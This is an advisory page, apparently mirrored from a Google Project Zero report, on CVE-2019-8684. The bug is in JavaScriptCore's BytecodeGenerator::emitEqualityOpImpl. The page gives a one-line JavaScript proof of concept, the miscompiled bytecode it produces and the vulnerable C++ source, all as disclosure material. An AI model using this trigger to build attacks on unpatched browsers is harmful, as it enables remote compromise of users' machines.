JSC BytecodeGenerator::emitEqualityOpImpl Data Mishandling

2019.07.31
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

JSC: A bug in BytecodeGenerator::emitEqualityOpImpl Related CVE Numbers: CVE-2019-8684. PoC: let a = (1 || typeof 1) === 'string'; Generated bytecode: <global>#BPmgTo:[0x7ff1965a0000->0x7ff1965a8000, NoneGlobal, 37]: 11 instructions (0 wide instructions, 2 instructions with metadata); 225 bytes (188 metadata bytes); 1 parameter(s); 10 callee register(s); 6 variable(s); scope at loc4 [ 0] enter [ 1] get_scope loc4 [ 3] mov loc5, loc4 [ 6] check_traps [ 7] mov loc6, Undefined(const0) [ 10] resolve_scope loc7, loc4, 0, GlobalProperty, 0 [ 17] mov loc8, Int32: 1(const1) [ 20] jtrue loc8, 6(->26) [ 23] is_cell_with_type loc8, Int32: 1(const1), StringType [ 27] put_to_scope loc7, 0, loc8, 1048576<DoNotThrowIfNotFound|GlobalProperty|Initialization>, 0, 0 [ 35] end loc6 Identifiers: id0 = a Constants: k0 = Undefined k1 = Int32: 1: in source as integer k2 = String (atomic) (identifier): string, StructureID: 9553 Here the jtrue instruction is pointing somewhere in the middle of the is_cell_with_type instruction. This is due to the bug in BytecodeGenerator::emitEqualityOpImpl which doesn't consider the case where m_lastOpcodeID is op_end which can indicate that the current position is a jump target. As a result, the method replaced wrongly the typeof instruction with the is_cell_with_type instruction. Vulnerable method: bool BytecodeGenerator::emitEqualityOpImpl(RegisterID* dst, RegisterID* src1, RegisterID* src2) { if (m_lastInstruction->is<OpTypeof>()) { auto op = m_lastInstruction->as<OpTypeof>(); if (src1->index() == op.m_dst.offset() && src1->isTemporary() && m_codeBlock->isConstantRegisterIndex(src2->index()) && m_codeBlock->constantRegister(src2->index()).get().isString()) { const String& value = asString(m_codeBlock->constantRegister(src2->index()).get())->tryGetValue(); if (value == \"undefined\") { rewind(); OpIsUndefined::emit(this, dst, op.m_value); return true; } if (value == \"boolean\") { rewind(); OpIsBoolean::emit(this, dst, op.m_value); return true; } if (value == \"number\") { rewind(); OpIsNumber::emit(this, dst, op.m_value); return true; } if (value == \"string\") { rewind(); OpIsCellWithType::emit(this, dst, op.m_value, StringType); return true; } if (value == \"symbol\") { rewind(); OpIsCellWithType::emit(this, dst, op.m_value, SymbolType); return true; } if (Options::useBigInt() && value == \"bigint\") { rewind(); OpIsCellWithType::emit(this, dst, op.m_value, BigIntType); return true; } if (value == \"object\") { rewind(); OpIsObjectOrNull::emit(this, dst, op.m_value); return true; } if (value == \"function\") { rewind(); OpIsFunction::emit(this, dst, op.m_value); return true; } } } return false; } This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt@google.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top